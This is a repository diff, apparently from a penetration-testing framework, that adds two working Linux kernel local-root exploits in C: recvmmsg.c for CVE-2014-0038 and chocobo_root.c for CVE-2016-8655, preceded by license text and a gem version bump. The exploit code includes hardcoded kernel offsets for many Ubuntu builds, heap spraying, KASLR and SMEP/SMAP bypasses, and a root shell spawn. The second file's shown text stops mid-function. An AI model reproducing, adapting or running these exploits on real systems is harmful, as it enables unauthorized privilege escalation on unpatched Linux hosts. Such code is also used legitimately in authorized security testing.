DAMAGES ARISING IN ANY WAY OUT OF THE USE OF THE PACKAGE, EVEN IF
|
||||
ADVISED OF THE POSSIBILITY OF SUCH DAMAGE.
|
||||
|
||||
License: Apache
|
||||
Version 1.1, 2000
|
||||
Modifications by CORE Security Technologies
|
||||
.
|
||||
Copyright (c) 2000 The Apache Software Foundation. All rights
|
||||
reserved.
|
||||
.
|
||||
Redistribution and use in source and binary forms, with or without
|
||||
modification, are permitted provided that the following conditions
|
||||
are met:
|
||||
.
|
||||
1. Redistributions of source code must retain the above copyright
|
||||
notice, this list of conditions and the following disclaimer.
|
||||
.
|
||||
2. Redistributions in binary form must reproduce the above copyright
|
||||
notice, this list of conditions and the following disclaimer in
|
||||
the documentation and/or other materials provided with the
|
||||
distribution.
|
||||
.
|
||||
3. The end-user documentation included with the redistribution,
|
||||
if any, must include the following acknowledgment:
|
||||
"This product includes software developed by
|
||||
CORE Security Technologies (http://www.coresecurity.com/)."
|
||||
Alternately, this acknowledgment may appear in the software itself,
|
||||
if and wherever such third-party acknowledgments normally appear.
|
||||
.
|
||||
4. The names "Impacket" and "CORE Security Technologies" must
|
||||
not be used to endorse or promote products derived from this
|
||||
software without prior written permission. For written
|
||||
permission, please contact oss@coresecurity.com.
|
||||
.
|
||||
5. Products derived from this software may not be called "Impacket",
|
||||
nor may "Impacket" appear in their name, without prior written
|
||||
permission of CORE Security Technologies.
|
||||
.
|
||||
THIS SOFTWARE IS PROVIDED ``AS IS'' AND ANY EXPRESSED OR IMPLIED
|
||||
WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE IMPLIED WARRANTIES
|
||||
OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE ARE
|
||||
DISCLAIMED. IN NO EVENT SHALL THE APACHE SOFTWARE FOUNDATION OR
|
||||
ITS CONTRIBUTORS BE LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL,
|
||||
SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT
|
||||
LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; LOSS OF
|
||||
USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND
|
||||
ON ANY THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY,
|
||||
OR TORT (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT
|
||||
OF THE USE OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF
|
||||
SUCH DAMAGE.
|
||||
|
||||
License: Apache
|
||||
Version 2.0, January 2004
|
||||
http://www.apache.org/licenses/
|
||||
|
||||
+1
-1
@@ -96,7 +96,7 @@ rex-rop_builder, 0.1.3, "New BSD"
|
||||
rex-socket, 0.1.8, "New BSD"
|
||||
rex-sslscan, 0.1.4, "New BSD"
|
||||
rex-struct2, 0.1.2, "New BSD"
|
||||
rex-text, 0.2.15, "New BSD"
|
||||
rex-text, 0.2.17, "New BSD"
|
||||
rex-zip, 0.1.3, "New BSD"
|
||||
rkelly-remix, 0.0.7, MIT
|
||||
robots, 0.10.1, MIT
|
||||
|
||||
Binary file not shown.
@@ -0,0 +1,226 @@
|
||||
/*
|
||||
*=*=*=*=*=*=*=*=*=*=*=*=*=*=*=*=*=*=*=*=*=*=*=*=*=*=*=*=*=*=*
|
||||
recvmmsg.c - linux 3.4+ local root (CONFIG_X86_X32=y)
|
||||
CVE-2014-0038 / x32 ABI with recvmmsg
|
||||
by rebel @ irc.smashthestack.org
|
||||
-----------------------------------
|
||||
|
||||
takes about 13 minutes to run because timeout->tv_sec is decremented
|
||||
once per second and 0xff*3 is 765.
|
||||
|
||||
some things you could do while waiting:
|
||||
* watch http://www.youtube.com/watch?v=OPyZGCKu2wg 3 times
|
||||
* read https://wiki.ubuntu.com/Security/Features and smirk a few times
|
||||
* brew some coffee
|
||||
* stare at the countdown giggly with anticipation
|
||||
|
||||
could probably whack the high bits of some pointer with nanoseconds,
|
||||
but that would require a bunch of nulls before the pointer and then
|
||||
reading an oops from dmesg which isn't that elegant.
|
||||
|
||||
&net_sysctl_root.permissions is nice because it has 16 trailing nullbytes
|
||||
|
||||
hardcoded offsets because I only saw this on ubuntu & kallsyms is protected
|
||||
anyway..
|
||||
|
||||
same principle will work on 32bit but I didn't really find any major
|
||||
distros shipping with CONFIG_X86_X32=y
|
||||
|
||||
user@ubuntu:~$ uname -a
|
||||
Linux ubuntu 3.11.0-15-generic #23-Ubuntu SMP Mon Dec 9 18:17:04 UTC 2013 x86_64 x86_64 x86_64 GNU/Linux
|
||||
user@ubuntu:~$ gcc recvmmsg.c -o recvmmsg
|
||||
user@ubuntu:~$ ./recvmmsg
|
||||
byte 3 / 3.. ~0 secs left.
|
||||
w00p w00p!
|
||||
# id
|
||||
uid=0(root) gid=0(root) groups=0(root)
|
||||
# sh phalanx-2.6b-x86_64.sh
|
||||
unpacking..
|
||||
|
||||
:)=
|
||||
|
||||
greets to my homeboys kaliman, beist, capsl & all of #social
|
||||
|
||||
Sat Feb 1 22:15:19 CET 2014
|
||||
% rebel %
|
||||
*=*=*=*=*=*=*=*=*=*=*=*=*=*=*=*=*=*=*=*=*=*=*=*=*=*=*=*=*=*=*
|
||||
*/
|
||||
|
||||
#define _GNU_SOURCE
|
||||
#include <netinet/ip.h>
|
||||
#include <stdio.h>
|
||||
#include <stdlib.h>
|
||||
#include <string.h>
|
||||
#include <sys/socket.h>
|
||||
#include <unistd.h>
|
||||
#include <sys/syscall.h>
|
||||
#include <sys/mman.h>
|
||||
#include <sys/types.h>
|
||||
#include <sys/stat.h>
|
||||
#include <fcntl.h>
|
||||
#include <sys/utsname.h>
|
||||
|
||||
#define __X32_SYSCALL_BIT 0x40000000
|
||||
#undef __NR_recvmmsg
|
||||
#define __NR_recvmmsg (__X32_SYSCALL_BIT + 537)
|
||||
#define VLEN 1
|
||||
#define BUFSIZE 200
|
||||
|
||||
int port;
|
||||
|
||||
struct offset {
|
||||
char *kernel_version;
|
||||
unsigned long dest; // net_sysctl_root + 96
|
||||
unsigned long original_value; // net_ctl_permissions
|
||||
unsigned long prepare_kernel_cred;
|
||||
unsigned long commit_creds;
|
||||
};
|
||||
|
||||
struct offset offsets[] = {
|
||||
{"3.11.0-15-generic",0xffffffff81cdf400+96,0xffffffff816d4ff0,0xffffffff8108afb0,0xffffffff8108ace0}, // Ubuntu 13.10
|
||||
{"3.11.0-12-generic",0xffffffff81cdf3a0,0xffffffff816d32a0,0xffffffff8108b010,0xffffffff8108ad40}, // Ubuntu 13.10
|
||||
{"3.8.0-19-generic",0xffffffff81cc7940,0xffffffff816a7f40,0xffffffff810847c0, 0xffffffff81084500}, // Ubuntu 13.04
|
||||
{NULL,0,0,0,0}
|
||||
};
|
||||
|
||||
void udp(int b) {
|
||||
int sockfd;
|
||||
struct sockaddr_in servaddr,cliaddr;
|
||||
int s = 0xff+1;
|
||||
|
||||
if(fork() == 0) {
|
||||
while(s > 0) {
|
||||
fprintf(stderr,"\rbyte %d / 3.. ~%d secs left \b\b\b\b",b+1,3*0xff - b*0xff - (0xff+1-s));
|
||||
sleep(1);
|
||||
s--;
|
||||
fprintf(stderr,".");
|
||||
}
|
||||
|
||||
sockfd = socket(AF_INET,SOCK_DGRAM,0);
|
||||
bzero(&servaddr,sizeof(servaddr));
|
||||
servaddr.sin_family = AF_INET;
|
||||
servaddr.sin_addr.s_addr=htonl(INADDR_LOOPBACK);
|
||||
servaddr.sin_port=htons(port);
|
||||
sendto(sockfd,"1",1,0,(struct sockaddr *)&servaddr,sizeof(servaddr));
|
||||
exit(0);
|
||||
}
|
||||
|
||||
}
|
||||
|
||||
void trigger() {
|
||||
open("/proc/sys/net/core/somaxconn",O_RDONLY);
|
||||
|
||||
if(getuid() != 0) {
|
||||
fprintf(stderr,"not root, ya blew it!\n");
|
||||
exit(-1);
|
||||
}
|
||||
|
||||
fprintf(stderr,"w00p w00p!\n");
|
||||
system("/bin/sh -i");
|
||||
}
|
||||
|
||||
typedef int __attribute__((regparm(3))) (* _commit_creds)(unsigned long cred);
|
||||
typedef unsigned long __attribute__((regparm(3))) (* _prepare_kernel_cred)(unsigned long cred);
|
||||
_commit_creds commit_creds;
|
||||
_prepare_kernel_cred prepare_kernel_cred;
|
||||
|
||||
// thx bliss
|
||||
static int __attribute__((regparm(3)))
|
||||
getroot(void *head, void * table)
|
||||
{
|
||||
commit_creds(prepare_kernel_cred(0));
|
||||
return -1;
|
||||
}
|
||||
|
||||
void __attribute__((regparm(3)))
|
||||
trampoline()
|
||||
{
|
||||
asm("mov $getroot, %rax; call *%rax;");
|
||||
}
|
||||
|
||||
int main(void)
|
||||
{
|
||||
int sockfd, retval, i;
|
||||
struct sockaddr_in sa;
|
||||
struct mmsghdr msgs[VLEN];
|
||||
struct iovec iovecs[VLEN];
|
||||
char buf[BUFSIZE];
|
||||
long mmapped;
|
||||
struct utsname u;
|
||||
struct offset *off = NULL;
|
||||
|
||||
uname(&u);
|
||||
|
||||
for(i=0;offsets[i].kernel_version != NULL;i++) {
|
||||
if(!strcmp(offsets[i].kernel_version,u.release)) {
|
||||
off = &offsets[i];
|
||||
break;
|
||||
}
|
||||
}
|
||||
|
||||
if(!off) {
|
||||
fprintf(stderr,"no offsets for this kernel version..\n");
|
||||
exit(-1);
|
||||
}
|
||||
|
||||
mmapped = (off->original_value & ~(sysconf(_SC_PAGE_SIZE) - 1));
|
||||
mmapped &= 0x000000ffffffffff;
|
||||
|
||||
srand(time(NULL));
|
||||
port = (rand() % 30000)+1500;
|
||||
|
||||
commit_creds = (_commit_creds)off->commit_creds;
|
||||
prepare_kernel_cred = (_prepare_kernel_cred)off->prepare_kernel_cred;
|
||||
|
||||
mmapped = (long)mmap((void *)mmapped, sysconf(_SC_PAGE_SIZE)*3, PROT_READ|PROT_WRITE|PROT_EXEC, MAP_PRIVATE|MAP_ANONYMOUS|MAP_FIXED, 0, 0);
|
||||
|
||||
if(mmapped == -1) {
|
||||
perror("mmap()");
|
||||
exit(-1);
|
||||
}
|
||||
|
||||
memset((char *)mmapped,0x90,sysconf(_SC_PAGE_SIZE)*3);
|
||||
|
||||
memcpy((char *)mmapped + sysconf(_SC_PAGE_SIZE), (char *)&trampoline, 300);
|
||||
|
||||
if(mprotect((void *)mmapped, sysconf(_SC_PAGE_SIZE)*3, PROT_READ|PROT_EXEC) != 0) {
|
||||
perror("mprotect()");
|
||||
exit(-1);
|
||||
}
|
||||
|
||||
sockfd = socket(AF_INET, SOCK_DGRAM, 0);
|
||||
if (sockfd == -1) {
|
||||
perror("socket()");
|
||||
exit(-1);
|
||||
}
|
||||
|
||||
sa.sin_family = AF_INET;
|
||||
sa.sin_addr.s_addr = htonl(INADDR_LOOPBACK);
|
||||
sa.sin_port = htons(port);
|
||||
|
||||
if (bind(sockfd, (struct sockaddr *) &sa, sizeof(sa)) == -1) {
|
||||
perror("bind()");
|
||||
exit(-1);
|
||||
}
|
||||
|
||||
memset(msgs, 0, sizeof(msgs));
|
||||
|
||||
iovecs[0].iov_base = &buf;
|
||||
iovecs[0].iov_len = BUFSIZE;
|
||||
msgs[0].msg_hdr.msg_iov = &iovecs[0];
|
||||
msgs[0].msg_hdr.msg_iovlen = 1;
|
||||
|
||||
for(i=0;i < 3 ;i++) {
|
||||
udp(i);
|
||||
retval = syscall(__NR_recvmmsg, sockfd, msgs, VLEN, 0, (void *)off->dest+7-i);
|
||||
if(!retval) {
|
||||
fprintf(stderr,"\nrecvmmsg() failed\n");
|
||||
}
|
||||
}
|
||||
|
||||
close(sockfd);
|
||||
|
||||
fprintf(stderr,"\n");
|
||||
|
||||
trigger();
|
||||
}
|
||||
BIN
Binary file not shown.
Executable
BIN
Binary file not shown.
Binary file not shown.
Binary file not shown.
@@ -0,0 +1,945 @@
|
||||
/*
|
||||
chocobo_root.c
|
||||
linux AF_PACKET race condition exploit for CVE-2016-8655.
|
||||
Includes KASLR and SMEP/SMAP bypasses.
|
||||
For Ubuntu 14.04 / 16.04 (x86_64) kernels 4.4.0 before 4.4.0-53.74.
|
||||
All kernel offsets have been tested on Ubuntu / Linux Mint.
|
||||
|
||||
vroom vroom
|
||||
*=*=*=*=*=*=*=*=*=*=*=*=*=*=*=*=*=*=*=*=*=*=*=*=*=*=*=*=*=*=
|
||||
user@ubuntu:~$ uname -a
|
||||
Linux ubuntu 4.4.0-51-generic #72-Ubuntu SMP Thu Nov 24 18:29:54 UTC 2016 x86_64 x86_64 x86_64 GNU/Linux
|
||||
user@ubuntu:~$ id
|
||||
uid=1000(user) gid=1000(user) groups=1000(user)
|
||||
user@ubuntu:~$ gcc chocobo_root.c -o chocobo_root -lpthread
|
||||
user@ubuntu:~$ ./chocobo_root
|
||||
linux AF_PACKET race condition exploit by rebel
|
||||
kernel version: 4.4.0-51-generic #72
|
||||
proc_dostring = 0xffffffff81088090
|
||||
modprobe_path = 0xffffffff81e48f80
|
||||
register_sysctl_table = 0xffffffff812879a0
|
||||
set_memory_rw = 0xffffffff8106f320
|
||||
exploit starting
|
||||
making vsyscall page writable..
|
||||
|
||||
new exploit attempt starting, jumping to 0xffffffff8106f320, arg=0xffffffffff600000
|
||||
sockets allocated
|
||||
removing barrier and spraying..
|
||||
version switcher stopping, x = -1 (y = 174222, last val = 2)
|
||||
current packet version = 0
|
||||
pbd->hdr.bh1.offset_to_first_pkt = 48
|
||||
*=*=*=* TPACKET_V1 && offset_to_first_pkt != 0, race won *=*=*=*
|
||||
please wait up to a few minutes for timer to be executed. if you ctrl-c now the kernel will hang. so don't do that.
|
||||
closing socket and verifying.......
|
||||
vsyscall page altered!
|
||||
|
||||
|
||||
stage 1 completed
|
||||
registering new sysctl..
|
||||
|
||||
new exploit attempt starting, jumping to 0xffffffff812879a0, arg=0xffffffffff600850
|
||||
sockets allocated
|
||||
removing barrier and spraying..
|
||||
version switcher stopping, x = -1 (y = 30773, last val = 0)
|
||||
current packet version = 2
|
||||
pbd->hdr.bh1.offset_to_first_pkt = 48
|
||||
race not won
|
||||
|
||||
retrying stage..
|
||||
new exploit attempt starting, jumping to 0xffffffff812879a0, arg=0xffffffffff600850
|
||||
sockets allocated
|
||||
removing barrier and spraying..
|
||||
version switcher stopping, x = -1 (y = 133577, last val = 2)
|
||||
current packet version = 0
|
||||
pbd->hdr.bh1.offset_to_first_pkt = 48
|
||||
*=*=*=* TPACKET_V1 && offset_to_first_pkt != 0, race won *=*=*=*
|
||||
please wait up to a few minutes for timer to be executed. if you ctrl-c now the kernel will hang. so don't do that.
|
||||
closing socket and verifying.......
|
||||
sysctl added!
|
||||
|
||||
stage 2 completed
|
||||
binary executed by kernel, launching rootshell
|
||||
root@ubuntu:~# id
|
||||
uid=0(root) gid=0(root) groups=0(root),1000(user)
|
||||
|
||||
*=*=*=*=*=*=*=*=*=*=*=*=*=*=*=*=*=*=*=*=*=*=*=*=*=*=*=*=*=*=
|
||||
|
||||
Shoutouts to:
|
||||
jsc for inspiration (https://www.youtube.com/watch?v=x4UDIfcYMKI)
|
||||
mcdelivery for delivering hotcakes and coffee
|
||||
|
||||
11/2016
|
||||
by rebel
|
||||
---
|
||||
Updated by <bcoles@gmail.com>
|
||||
- check number of CPU cores
|
||||
- KASLR bypasses
|
||||
- additional kernel targets
|
||||
https://github.com/bcoles/kernel-exploits/tree/cve-2016-8655
|
||||
*/
|
||||
|
||||
#define _GNU_SOURCE
|
||||
|
||||
#include <fcntl.h>
|
||||
#include <poll.h>
|
||||
#include <pthread.h>
|
||||
#include <sched.h>
|
||||
#include <signal.h>
|
||||
#include <stdbool.h>
|
||||
#include <stdint.h>
|
||||
#include <stdio.h>
|
||||
#include <stdlib.h>
|
||||
#include <string.h>
|
||||
#include <unistd.h>
|
||||
|
||||
#include <sys/klog.h>
|
||||
#include <sys/mman.h>
|
||||
#include <sys/types.h>
|
||||
#include <sys/socket.h>
|
||||
#include <sys/stat.h>
|
||||
#include <sys/syscall.h>
|
||||
#include <sys/sysinfo.h>
|
||||
#include <sys/utsname.h>
|
||||
#include <sys/wait.h>
|
||||
|
||||
#include <arpa/inet.h>
|
||||
#include <linux/if_packet.h>
|
||||
#include <linux/sched.h>
|
||||
#include <netinet/tcp.h>
|
||||
#include <netinet/if_ether.h>
|
||||
|
||||
#define DEBUG
|
||||
|
||||
#ifdef DEBUG
|
||||
# define dprintf printf
|
||||
#else
|
||||
# define dprintf
|
||||
#endif
|
||||
|
||||
#define ENABLE_KASLR_BYPASS 1
|
||||
|
||||
// Will be overwritten if ENABLE_KASLR_BYPASS
|
||||
unsigned long KERNEL_BASE = 0xffffffff81000000ul;
|
||||
|
||||
// Will be overwritten by detect_versions()
|
||||
int kernel = -1;
|
||||
|
||||
// New sysctl path
|
||||
const char *SYSCTL_NAME = "hack";
|
||||
const char *SYSCTL_PATH = "/proc/sys/hack";
|
||||
|
||||
volatile int barrier = 1;
|
||||
volatile int vers_switcher_done = 0;
|
||||
|
||||
struct kernel_info {
|
||||
char *kernel_version;
|
||||
unsigned long proc_dostring;
|
||||
unsigned long modprobe_path;
|
||||
unsigned long register_sysctl_table;
|
||||
unsigned long set_memory_rw;
|
||||
};
|
||||
|
||||
struct kernel_info kernels[] = {
|
||||
{ "4.4.0-21-generic #37~14.04.1-Ubuntu", 0x084220, 0xc4b000, 0x273a30, 0x06b9d0 },
|
||||
{ "4.4.0-22-generic #40~14.04.1-Ubuntu", 0x084250, 0xc4b080, 0x273de0, 0x06b9d0 },
|
||||
{ "4.4.0-24-generic #43~14.04.1-Ubuntu", 0x084120, 0xc4b080, 0x2736f0, 0x06b880 },
|
||||
{ "4.4.0-28-generic #47~14.04.1-Ubuntu", 0x084160, 0xc4b100, 0x273b70, 0x06b880 },
|
||||
{ "4.4.0-31-generic #50~14.04.1-Ubuntu", 0x084160, 0xc4b100, 0x273c20, 0x06b880 },
|
||||
{ "4.4.0-34-generic #53~14.04.1-Ubuntu", 0x084160, 0xc4b100, 0x273c40, 0x06b880 },
|
||||
{ "4.4.0-36-generic #55~14.04.1-Ubuntu", 0x084160, 0xc4b100, 0x273c60, 0x06b890 },
|
||||
{ "4.4.0-38-generic #57~14.04.1-Ubuntu", 0x084210, 0xe4b100, 0x2742e0, 0x06b890 },
|
||||
{ "4.4.0-42-generic #62~14.04.1-Ubuntu", 0x084260, 0xe4b100, 0x274300, 0x06b880 },
|
||||
{ "4.4.0-45-generic #66~14.04.1-Ubuntu", 0x084260, 0xe4b100, 0x274340, 0x06b880 },
|
||||
//{"4.4.0-46-generic #67~14.04.1-Ubuntu",0x0842f0,0xe4b100,0x274580,0x06b880},
|
||||
{ "4.4.0-47-generic #68~14.04.1-Ubuntu", 0x0842f0, 0xe4b100, 0x274580, 0x06b880 },
|
||||
//{"4.4.0-49-generic #70~14.04.1-Ubuntu",0x084350,0xe4b100,0x274b10,0x06b880},
|
||||
{ "4.4.0-51-generic #72~14.04.1-Ubuntu", 0x084350, 0xe4b100, 0x274750, 0x06b880 },
|
||||
|
||||
{ "4.4.0-21-generic #37-Ubuntu", 0x087cf0, 0xe48e80, 0x286310, 0x06f370 },
|
||||
{ "4.4.0-22-generic #40-Ubuntu", 0x087d40, 0xe48f00, 0x2864d0, 0x06f370 },
|
||||
{ "4.4.0-24-generic #43-Ubuntu", 0x087e60, 0xe48f00, 0x2868f0, 0x06f370 },
|
||||
{ "4.4.0-28-generic #47-Ubuntu", 0x087ea0, 0xe48f80, 0x286df0, 0x06f370 },
|
||||
{ "4.4.0-31-generic #50-Ubuntu", 0x087ea0, 0xe48f80, 0x286e90, 0x06f370 },
|
||||
{ "4.4.0-34-generic #53-Ubuntu", 0x087ea0, 0xe48f80, 0x286ed0, 0x06f370 },
|
||||
{ "4.4.0-36-generic #55-Ubuntu", 0x087ea0, 0xe48f80, 0x286e50, 0x06f360 },
|
||||
{ "4.4.0-38-generic #57-Ubuntu", 0x087f70, 0xe48f80, 0x287470, 0x06f360 },
|
||||
{ "4.4.0-42-generic #62-Ubuntu", 0x087fc0, 0xe48f80, 0x2874a0, 0x06f320 },
|
||||
{ "4.4.0-43-generic #63-Ubuntu", 0x087fc0, 0xe48f80, 0x2874b0, 0x06f320 },
|
||||
{ "4.4.0-45-generic #66-Ubuntu", 0x087fc0, 0xe48f80, 0x2874c0, 0x06f320 },
|
||||
//{"4.4.0-46-generic #67-Ubuntu",0x088040,0xe48f80,0x287800,0x06f320},
|
||||
{ "4.4.0-47-generic #68-Ubuntu", 0x088040, 0xe48f80, 0x287800, 0x06f320 },
|
||||
//{"4.4.0-49-generic #70-Ubuntu",0x088090,0xe48f80,0x287d40,0x06f320},
|
||||
{ "4.4.0-51-generic #72-Ubuntu", 0x088090, 0xe48f80, 0x2879a0, 0x06f320},
|
||||
};
|
||||
|
||||
#define VSYSCALL 0xffffffffff600000
|
||||
#define PROC_DOSTRING (KERNEL_BASE + kernels[kernel].proc_dostring)
|
||||
#define MODPROBE_PATH (KERNEL_BASE + kernels[kernel].modprobe_path)
|
||||
#define REGISTER_SYSCTL_TABLE (KERNEL_BASE + kernels[kernel].register_sysctl_table)
|
||||
#define SET_MEMORY_RW (KERNEL_BASE + kernels[kernel].set_memory_rw)
|
||||
|
||||
#define KMALLOC_PAD 64
|
||||
|
||||
int pad_fds[KMALLOC_PAD];
|
||||
|
||||
// * * * * * * * * * * * * * * Kernel structs * * * * * * * * * * * * * * * *
|
||||
|
||||
struct ctl_table {
|
||||
const char *procname;
|
||||
void *data;
|
||||
int maxlen;
|
||||
unsigned short mode;
|
||||
struct ctl_table *child;
|
||||
void *proc_handler;
|
||||
void *poll;
|
||||
void *extra1;
|
||||
void *extra2;
|
||||
};
|
||||
|
||||
#define CONF_RING_FRAMES 1
|
||||
|
||||
struct tpacket_req3 tp;
|
||||
int sfd;
|
||||
int mapped = 0;
|
||||
|
||||
struct timer_list {
|
||||
void *next;
|
||||
void *prev;
|
||||
unsigned long expires;
|
||||
void (*function)(unsigned long);
|
||||
unsigned long data;
|
||||
unsigned int flags;
|
||||
int slack;
|
||||
};
|
||||
|
||||
// * * * * * * * * * * * * * * * Helpers * * * * * * * * * * * * * * * * * *
|
||||
|
||||
void *setsockopt_thread(void *arg)
|
||||
{
|
||||
while (barrier) {}
|
||||
setsockopt(sfd, SOL_PACKET, PACKET_RX_RING, (void*) &tp, sizeof(tp));
|
||||
|
||||
return NULL;
|
||||
}
|
||||
|
||||
void *vers_switcher(void *arg)
|
||||
{
|
||||
int val,x,y;
|
||||
|
||||
while (barrier) {}
|
||||
|
||||
while (1) {
|
||||
val = TPACKET_V1;
|
||||
x = setsockopt(sfd, SOL_PACKET, PACKET_VERSION, &val, sizeof(val));
|
||||
|
||||
y++;
|
||||
|
||||
if (x != 0) break;
|
||||
|
||||
val = TPACKET_V3;
|
||||
x = setsockopt(sfd, SOL_PACKET, PACKET_VERSION, &val, sizeof(val));
|
||||
|
||||
if (x != 0) break;
|
||||
|
||||
y++;
|
||||
}
|
||||
|
||||
dprintf("[.] version switcher stopping, x = %d (y = %d, last val = %d)\n",x,y,val);
|
||||
vers_switcher_done = 1;
|
||||
|
||||
return NULL;
|
||||
}
|
||||
|
||||
// * * * * * * * * * * * * * * Heap shaping * * * * * * * * * * * * * * * * *
|
||||
|
||||
#define BUFSIZE 1408
|
||||
char exploitbuf[BUFSIZE];
|
||||
|
||||
void kmalloc(void)
|
||||
{
|
||||
while(1)
|
||||
syscall(__NR_add_key, "user", "wtf", exploitbuf, BUFSIZE - 24, -2);
|
||||
}
|
||||
|
||||
void pad_kmalloc(void)
|
||||
{
|
||||
int x;
|
||||
for (x = 0; x < KMALLOC_PAD; x++)
|
||||
if (socket(AF_PACKET, SOCK_DGRAM, htons(ETH_P_ARP)) == -1) {
|
||||
dprintf("[-] pad_kmalloc() socket error\n");
|
||||
exit(EXIT_FAILURE);
|
||||
}
|
||||
}
|
||||
|
||||
// * * * * * * * * * * * * * * * Trigger * * * * * * * * * * * * * * * * * *
|
||||
|
||||
int try_exploit(unsigned long func, unsigned long arg, void *verification_func)
|
||||
{
|
||||
pthread_t setsockopt_thread_thread,a;
|
||||
int val;
|
||||
socklen_t l;
|
||||
struct timer_list *timer;
|
||||
int fd;
|
||||
struct tpacket_block_desc *pbd;
|
||||
int off;
|
||||
sigset_t set;
|
||||
|
||||
sigemptyset(&set);
|
||||
|
||||
sigaddset(&set, SIGSEGV);
|
||||
|
||||
if (pthread_sigmask(SIG_BLOCK, &set, NULL) != 0) {
|
||||
dprintf("[-] couldn't set sigmask\n");
|
||||
exit(1);
|
||||
}
|
||||
|
||||
dprintf("[.] new exploit attempt starting, jumping to %p, arg=%p\n", (void *)func, (void *)arg);
|
||||
|
||||
pad_kmalloc();
|
||||
|
||||
fd = socket(AF_PACKET, SOCK_DGRAM, htons(ETH_P_ARP));
|
||||
|
||||
if (fd == -1) {
|
||||
dprintf("[-] target socket error\n");
|
||||
exit(1);
|
||||
}
|
||||
|
||||
pad_kmalloc();
|
||||
|
||||
dprintf("[.] done, sockets allocated\n");
|
||||
|
||||
val = TPACKET_V3;
|
||||
|
||||
setsockopt(fd, SOL_PACKET, PACKET_VERSION, &val, sizeof(val));
|
||||
|
||||
tp.tp_block_size = CONF_RING_FRAMES * getpagesize();
|
||||
tp.tp_block_nr = 1;
|
||||
tp.tp_frame_size = getpagesize();
|
||||
tp.tp_frame_nr = CONF_RING_FRAMES;
|
||||
|
||||
// try to set the timeout to 10 seconds
|
||||
// the default timeout might still be used though depending on when the race was won
|
||||
tp.tp_retire_blk_tov = 10000;
|
||||
|
||||
sfd = fd;
|
||||
|
||||
if (pthread_create(&setsockopt_thread_thread, NULL, setsockopt_thread, (void *)NULL)) {
|
||||
dprintf("[-] Error creating thread\n");
|
||||
return 1;
|
||||
}
|
||||
|
||||
pthread_create(&a, NULL, vers_switcher, (void *)NULL);
|
||||
|
||||
usleep(200000);
|
||||
|
||||
dprintf("[.] removing barrier and spraying...\n");
|
||||
|
||||
memset(exploitbuf, '\x00', BUFSIZE);
|
||||
|
||||
timer = (struct timer_list *)(exploitbuf+(0x6c*8)+6-8);
|
||||
timer->next = 0;
|
||||
timer->prev = 0;
|
||||
|
||||
timer->expires = 4294943360;
|
||||
timer->function = (void *)func;
|
||||
timer->data = arg;
|
||||
timer->flags = 1;
|
||||
timer->slack = -1;
|
||||
|
||||
barrier = 0;
|
||||
|
||||
usleep(100000);
|
||||
|
||||
while (!vers_switcher_done) usleep(100000);
|
||||
|
||||
l = sizeof(val);
|
||||
getsockopt(sfd, SOL_PACKET, PACKET_VERSION, &val, &l);
|
||||
|
||||
dprintf("[.] current packet version = %d\n",val);
|
||||
|
||||
pbd = mmap(0, tp.tp_block_size * tp.tp_block_nr, PROT_READ | PROT_WRITE, MAP_SHARED, sfd, 0);
|
||||
|
||||
if (pbd == MAP_FAILED) {
|
||||
dprintf("[-] could not map pbd\n");
|
||||
exit(1);
|
||||
} else {
|
||||
off = pbd->hdr.bh1.offset_to_first_pkt;
|
||||
dprintf("[.] pbd->hdr.bh1.offset_to_first_pkt = %d\n", off);
|
||||
}
|
||||
|
||||
|
||||
if (val == TPACKET_V1 && off != 0) {
|
||||
dprintf("*=*=*=* TPACKET_V1 && offset_to_first_pkt != 0, race won *=*=*=*\n");
|
||||
} else {
|
||||
dprintf("[-] race not won\n");
|
||||
exit(2);
|
||||
}
|
||||
|
||||
munmap(pbd, tp.tp_block_size * tp.tp_block_nr);
|
||||
|
||||
pthread_create(&a, NULL, verification_func, (void *)NULL);
|
||||
|
||||
dprintf("\n");
|
||||
dprintf("[!] please wait up to a few minutes for timer to be executed.\n");
|
||||
dprintf("[!] if you ctrl-c now the kernel will hang. so don't do that.\n");
|
||||
dprintf("\n");
|
||||
|
||||
sleep(1);
|
||||
dprintf("[.] closing socket and verifying...\n");
|
||||
|
||||
close(sfd);
|
||||
|
||||
kmalloc();
|
||||
|
||||
dprintf("[.] all messages sent\n");
|
||||
|
||||
sleep(31337);
|
||||
exit(1);
|
||||
}
|
||||
|
||||
int verification_result = 0;
|
||||
|
||||
void catch_sigsegv(int sig)
|
||||
{
|
||||
verification_result = 0;
|
||||
pthread_exit((void *)1);
|
||||
}
|
||||
|
||||
void *modify_vsyscall(void *arg)
|
||||
{
|
||||
unsigned long *vsyscall = (unsigned long *)(VSYSCALL+0x850);
|
||||
unsigned long x = (unsigned long)arg;
|
||||
|
||||
sigset_t set;
|
||||
sigemptyset(&set);
|
||||
sigaddset(&set, SIGSEGV);
|
||||
|
||||
if (pthread_sigmask(SIG_UNBLOCK, &set, NULL) != 0) {
|
||||
dprintf("[-] couldn't set sigmask\n");
|
||||
exit(EXIT_FAILURE);
|
||||
}
|
||||
|
||||
signal(SIGSEGV, catch_sigsegv);
|
||||
|
||||
*vsyscall = 0xdeadbeef+x;
|
||||
|
||||
if (*vsyscall == 0xdeadbeef+x) {
|
||||
dprintf("[~] vsyscall page altered!\n");
|
||||
verification_result = 1;
|
||||
pthread_exit(0);
|
||||
}
|
||||
|
||||
return NULL;
|
||||
}
|
||||
|
||||
void verify_stage1(void)
|
||||
{
|
||||
pthread_t v_thread;
|
||||
|
||||
sleep(5);
|
||||
|
||||
int x;
|
||||
for(x = 0; x < 300; x++) {
|
||||
|
||||
pthread_create(&v_thread, NULL, modify_vsyscall, 0);
|
||||
|
||||
pthread_join(v_thread, NULL);
|
||||
|
||||
if(verification_result == 1) {
|
||||
exit(0);
|
||||
}
|
||||
|
||||
write(2,".",1);
|
||||
sleep(1);
|
||||
}
|
||||
|
||||
dprintf("[-] could not modify vsyscall\n");
|
||||
exit(EXIT_FAILURE);
|
||||
}
|
||||
|
||||
void verify_stage2(void)
|
||||
{
|
||||
struct stat b;
|
||||
|
||||
